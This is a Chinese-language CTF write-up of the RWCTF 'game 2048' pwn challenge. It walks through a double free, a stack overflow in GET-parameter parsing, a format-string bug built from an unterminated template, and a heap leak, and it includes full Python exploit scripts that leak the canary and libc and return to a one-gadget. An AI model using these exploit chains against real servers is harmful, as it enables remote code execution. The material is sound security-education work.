前言
大家好!
这里是擅长把简单问题复杂化的Anciety@r3kapig……
这是一篇迟到的 writeup ,本来应该在比赛后就发布的,但是一直比较忙,最近才找到时间来总结一下。这次的 RWCTF 我不出所料的又踩入了坑,同时还将好几个队友也一块拉入了坑中,最后我们强行把题目从普通难度调到了地狱难度,还好最后做出来了,否则,怕是交代不了。
下面就来记录一下我们困难模式的解题过程吧~
题目介绍
题目给出了一个 nc 端口,nc 上去之后会给一个 http url ,所以内部也实现了一个 web 服务器。web 端的功能大概如下:
-
register:注册,可以注册一个新用户,注册完成后会被重定向到 2048 游戏界面
-
login:登录,登录之后也会被重定向到 2048 游戏界面
-
2048:游戏界面,路由位置为“2048/index.html” ,本身是一个静态页面,但是需要先登录才可访问,游戏本身没有别的功能了,我还忙里偷闲地玩了一小会(摸鱼实锤了)。登录的验证在 cookie 中,形式为 "name=[name]; pass=[pass]" ,例如 cookie 内容 "admin=admin; pass=admin" 表示用户名为 "admin" 密码也为 "admin" 。所以其实注册之后不一定非要经过登录页面,直接加上 cookie 就可以啦(其他的页面也是用这种方式验证的)
-
submit:这个功能是隐藏起来的,似乎并没有办法直接从其他页面走到(也有可能是我没看仔细),可以登录后(cookie 能够通过验证)提交一个评论,然后该评论会被记录下来,存入到各用户的存储中。提交之后,下一次进入到这个页面时,就会默认显示你所提交的内容。在没有提交任何内容前,也会有一段默认内容。
默认时的页面如下:
该部分是基于libCoroutine实现的,libCoroutine我不是特别了解,但是看名字应该就是协程啦,所以应该就是单线程,采取协程的方式实现的。程序本身使用 C++ 编写,所以逆起来还稍微有点难受,毕竟 C++ 的符号看起来比较麻烦。不过如果整个程序的大致结构清楚了看起来还是比较容易的,内部的符号都没有去掉,所以也并不算特别难逆。
每一个 web 服务器都应当有一个路由声明,所以首先我会先试图找一下路由的声明,通过看字符串之类的就可以找到:
从这里的实现可以看到,具体的实现应该是在每个对象的 process 函数中,例如 submit::process 就是 submit 界面的处理函数。
预期解其实并不算很复杂,所以我们先讲一下预期解。
预期解的漏洞在 submit 的实现部分,在实现中,用户名和密码是存储在一个哈希表的。在访问提交页面时,需要先经过验证,验证的过程就是从 cookie 中取出账号密码然后查表。从表里取出来的是代表一个用户(user)的结构体。提交的 comment 就存在这个结构体当中,下图中的 u 变量就是用户结构体指针,u->commit 就是记录在每个用户下的评论。
所以提交页面实现为 post 请求处理,参数 word 下的内容就是要提交的内容,在进行 url 解码之后,会将其存储到用户结构体的 comment 中。
然后,如果用户已经有评论了,就会先被释放,再读取新的评论内容:
但是需要注意!读取的过程是用AIO::read实现的,如果没有提供足够的内容,那么就会继续等待新的内容,所以……如果内容不够,就会阻塞了!
更不妙的是,在释放之后,u->comment 的置 0 是在 read 之后的:
这样的话,聪明的小朋友们应该都发现了,这里是有一个 double free 漏洞的:
-
首先提交一个内容
-
然后,再提交一个内容,这时就会将前一个内容阻塞,但是给一个错误的content_size ,使AIO::read发生阻塞,此时因为阻塞,comment 依然是被 free 掉的内容,没有置 0
-
再提交一个请求,这样就会再触发一次 free
libc 给出的版本是 2.31 的,所以是有 tcache ,这样 double free 利用应该不算特别困难。
好了,阳间的看完了,让我们来整点别的。
整点“阴间”的东西
在比赛期间,我非常机(yu)智(chun)地忽略了整个 double free ,导致我们寻找其他漏洞。不巧的是,这程序还当真就有这么多漏洞。
漏洞1:一个在 http 解析过程中的栈溢出,发生在add_get_param中。在解析url时,如果碰到get请求,且存在参数,那么就会将参数解析出来放到一个表里。(IDA的反编译由于try-catch块的存在会有问题,反编译会少掉一部分内容,逆的时候需要注意,所以这里看到的反编译结果也不全)。这个函数的作用就是用来将参数的键值对放到表里的:
可以看到,函数调用了一个魔幻的strncpy ,这个函数调用非常魔幻,我估计是希望先将key和value字符串先拷贝到tmp1和tmp2中,然后再用这两个值来进行set_value ,但是事实上可能由于发现 set_value 会复制,所以这两个值根本没有使用。然后不出意外程序应该是用了debug编译,所以dead code也没有删掉(我猜的),最后就有了这么两个魔幻的strncpy 。
由于key_size和value_size就是直接对字符串strlen的(这个发生在上一层函数),所以其实这个strncpy和strcpy是一个意思。于是就有两个栈溢出了。
所以有栈溢出就完事了,那我还写什么writeup呢?所以并没有这么简单,因为程序是存在 canary保护的。于是,单看这个栈溢出,就显得并没什么意思了。
漏洞2:有一个字符串没有 null 截断,同时 malloc 的内容也没有提前清空,该漏洞的位置位于parseHelper::render:
fread是用来从磁盘上读取html模板的,但是fread本身并不负责将读取的字符串末尾设置为0,另外,缓冲区在分配之后也没有清空,所以分配出来的块是会包含之前释放的内容的。如果我们可以想办法控制之前释放的内容,或者说,我们可以想办法控制此时分配出来的内容,那么加上fread之后没有截断,我们就可以在模板内容后面加上我们自己的内容了。
但是光是加上内容,有什么用呢?答案就在随后的vsnprintf里,由于该函数的格式化字符串部分就是读取的模板,所以我们成功的用多个小bug ,组合出了一个"不太稳定"(读作,“很不稳定”)的格式化字符串漏洞了。
所以现在我们的问题解决了!用格式化字符串直接获取canary不就好了!完美?个屁!我们这时对格式化字符串的控制是完全不稳定的,最后的结果就是我们没有办法添加超过 4 字节的内容,所以我们最多只能添加%9$p,此时根本碰不到canary,所以目前来看,这样也不行。
同时,即使我们有了栈溢出,也难以获取到 libc 地址。
所以我们又去看程序了,发现了漏洞3,可以用来解决 libc 地址问题。
漏洞3:comment 在经过url_decode时,同样没有截断:
目前看来,几个漏洞单独都不太够,最多就是能泄露堆和 libc 地址。但是合起来,就有点有意思了。
合体!
目前我们有了 3 个漏洞:
-
栈溢出:被 canary 限制
-
格式化字符串:被字节数限制
-
截断问题:可以泄露
总的来说,思路还是明确的,就是用后两个漏洞想办法去获取到 canary 和需要的地址,然后用栈溢出控制执行流 ROP 。需要的地址主要就是libc地址,这个问题其实已经解决了(用漏洞3),但是 canary 还是一个问题。
我们还有格式化字符串漏洞可以用,但是问题在于这个格式化字符串并非一个普通的格式化字符串,而是利用到垃圾字节来实现的,不妙的是,模板的大小是0x954字节(哦对了,这里还利用了一个未授权访问漏洞,通过使用 http://xxxxx:xxxx/./submit.html 可以把模板直接下下来……),这样我们正常情况分配出来的应该是 0x961 size 的 chunk ,实际能用的字节只有 0x958 ,所以我们只能控制 4 个字节的内容:
所以之前我们解释到,我们只能添加%1$p到%9$p ,然而 canary 最少也在 13 的位置(事实上 13 也不够,不稳定)。
通过调试(具体点说,就是从comment释放开始,一直跟踪该chunk,通过硬件断点可以跟踪 chunk ,直到最后跟到目标 malloc )可以发现,如果分配一个比较大的 chunk ,最后这个 chunk 是被不断切分的,也就是说,其实中间过程如果调整一下,记一下这个切分过程,我们是可以通过一开始分配一个合适的大小,最后控制 malloc 的时候空闲块的大小的。所以,我就想,是不是有办法通过控制最后 malloc 的时候的状态,让分配的时候分配的东西更大一点?也就是,不分配 0x961 的块,而是分配更大的?
最后结果当然是可以的,不过中间的过程我觉得更多是运气,通过试了一些大小,最后 (应该是由于分配前块合并)分配出了0x971的块。
def leak_canary(): register() register('fuck') number = 0x3000 + 0x30 # v1 <- remote payload = 'x' * (number - 0x18) + 'x' * 12 + '%55$p' + 'x' * (10-3) # working! for canary remote submit(payload, user='fuck') submit('a' * 0x100) submit('a' * (0x10), user='fuck') view_submit(user='fuck')
这个过程其实不太稳定,我自己试了一下大概是十分之一的概率,但是不管怎么说,我们现在终于可以获得一个更大的格式化字符串了,所以 canary 的泄露也搞定了……吗?
实际情况是,确实能够控制大于 4 个字节了,然而却只有第一个字节有值,其他全是0,这就很奇怪了……
1
# 实际情况不完全是这样,但是大差不差是这个效果 2
bcx00x00x00x00x00x00x00
又找了半天原因,最后发现是因为vsnprintf的大小限制。
泄露的输出应该放到out_buffer里,然后大小限制为strlen(comment) + strlen(template) + 1 ,模板中的 %s 格式化后长度为 strlen(comment) ,那么其实我们就剩一个字节了。
为了解决这个问题,我们用到了一开始的默认情况(就是一开始没有提交任何评论的时候),这个时候,由于程序员编写的时候默认 template 不可控,所以大小写的比较随意,直接写了个 0x1000 (反正比 template 长度大就行了)。(这一部分感谢队友 Umut)
终于,历尽九九八十一难,我们拿到了 canary 的全部值…
def leak_canary(): register() register('fuck') register('empty') number = 0x3000 + 0x30 # v1 <- remote payload = 'x' * (number - 0x18) + 'x' * 12 + '%55$p' + 'x' * (10-3) # working! for canary remote submit(payload, user='fuck') submit('a' * 0x100) submit('a' * (0x10), user='fuck') view_submit(user='empty')
libc 泄露就比较显然了,格式化字符串这边没有找到 libc 地址,不过问题不大,反正我们还有个泄露不是,所以我们用另外一个漏洞泄露了下:
def leak_libc(): register() for i in range(10): submit('a'.ljust(0x1000, 'b'), False) view_submit() submit('a') res = view_submit() text_start = b'<textarea id="compose-textarea" class="form-control" style="height: 300px" name="word">' idx = res.content.find(text_start) + len(text_start) + 1 content = res.content[idx:].strip(b' ').split(b'n')[0] libc_addr = u64(content.ljust(8, b'x00')) libc_base = libc_addr - 0x1ebb61 print(hex(libc_addr)) print(hex(libc_base))
需要注意的是,我发现用来算libc_base的偏移似乎不太稳定,大概有 3 种可能的结尾,我目前还记得发现的有 0x261 和 0xb61 ,和本地情况可能有出入,不过好在也就三种,大不了本地重新起一下,总能发现一样的偏移。
好了,搞定了两个大问题了,libc 地址和 canary 都有了,问题解决了吗?呵,人类,地狱模式哪有这么简单。
由于栈溢出是用 strncpy 触发的,所以我们是没有办法插入 0 字节的,也就是说,我们是没有办法编写完整 ROP 的,因为最多写一个地址。甚至更不妙的是,canary 自己也是有 0 的……咋办?
问题1: canary 自己的 0, 这个是比较好解决的,老套路了,直接倒着写,我们不是有两个 strncpy 吗,先写长的再写短的就可以解决了。
问题2:0截断导致无法 ROP。这个就比较麻烦了,一般来说我们会用 one gadget 对吧,然而这个是需要看环境的,也就是说需要看 one gadget 的具体条件,所以我们来看下:
$ one_gadget libc.so.6 0xe6e73 execve("/bin/sh", r10, r12) constraints: [r10] == NULL || r10 == NULL [r12] == NULL || r12 == NULL 0xe6e76 execve("/bin/sh", r10, rdx) constraints: [r10] == NULL || r10 == NULL [rdx] == NULL || rdx == NULL 0xe6e79 execve("/bin/sh", rsi, rdx) constraints: [rsi] == NULL || rsi == NULL [rdx] == NULL || rdx == NULL
调试一下会发现最后一个可以用:
不过试一下,就知道地狱模式是啥了:
知道了吧?除了这两个要求,还需要 rbp-0x78 是可写的合法地址,工具并没有给出这个条件,然后其他的 gadget 又不可用……
卡住了。
比赛期间,做到这我已经没辄了,然后也比较晚了,有点困,就睡了。
那么我们的神奇队友 Umut (我们唯一的土耳其队友)又来了!他竟然!手工!发现了一个!工具没找到的 one gadget!
由于 rdx 已经是 0 了,rsi 也是 0 (其实不太稳定,有时候是 0 ,有时候是 r15 是 0 ,但是管他呢,都能用),所以这么个 gadget 就能用了……
这才是,千辛万苦,终于获得了 flag……
总结一下:
完整利用
PS:由于泄露的时候并不会把程序弄崩,所以 exp 是分开的,先泄露内容,然后写到 exp 里,再进行栈溢出。
#!/usr/bin/env python3 import requests from pwn import * import sys import urllib.parse #url = 'http://localhost:39267' url = 'http://54.176.255.241:33717' submit_url = url + '/submit' submit_page = url + '/submit.html' register_url = url + '/register' libc_base = 0x7f6b1b06c000 canary = 0xfd15c59a46b75400 one_gadget = 0xE6C84 #one_gadget = 0xe6e79 def submit(content, log=True, user='admin'): data = { 'word': content } r = requests.post(submit_url, data=data, cookies={'name': user, 'pass': user}) if log: print(r.text) return r def view_submit(log=True, user='admin'): r = requests.get(submit_page, cookies={'name': user, 'pass': user}) if log: print(r.text) return r def register(user='admin', log=False): r = requests.get(register_url + '?name={user}&passwd={user}&re_passwd={user}'.format(user=user)) if log: print(r.text) def leak_libc(): register() for i in range(10): submit('a'.ljust(0x1000, 'b'), False) view_submit() submit('a') res = view_submit() text_start = b'<textarea id="compose-textarea" class="form-control" style="height: 300px" name="word">' idx = res.content.find(text_start) + len(text_start) + 1 content = res.content[idx:].strip(b' ').split(b'n')[0] libc_addr = u64(content.ljust(8, b'x00')) libc_base = libc_addr - 0x1ebb61 print(hex(libc_addr)) print(hex(libc_base)) libc_base = libc_addr - 0x1ec261 print(hex(libc_base)) def leak_canary(): register() register('fuck') register('empty') number = 0x3000 + 0x30 # v1 <- remote payload = 'x' * (number - 0x18) + 'x' * 12 + '%55$p' + 'x' * (10-3) # working! for canary remote submit(payload, user='fuck') submit('a' * 0x100) submit('a' * (0x10), user='fuck') view_submit(user='empty') def main(): rop = p64(one_gadget + libc_base) payload_key = 'a' * 0x100 + 'b' * 0x100 + 'a' * 8 + 'a' + urllib.parse.quote(p64(canary)[1:]) + 'x' * 24 + urllib.parse.quote(rop) payload_value = 'p' * 0x108 exp_url = url + '?' + payload_key + '=' + payload_value r = requests.get(exp_url) if __name__ == '__main__': op = '' if len(sys.argv) >= 2: op = sys.argv[1] if op == 'reg': register() elif op == 'canary': leak_canary() elif op == 'libc': leak_libc() else: main()
星阑科技
微信号|StarCrossCN
知乎号 | 星阑科技
本文始发于微信公众号(星阑科技):论复杂方式解决简单问题——rwctf game 2048
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论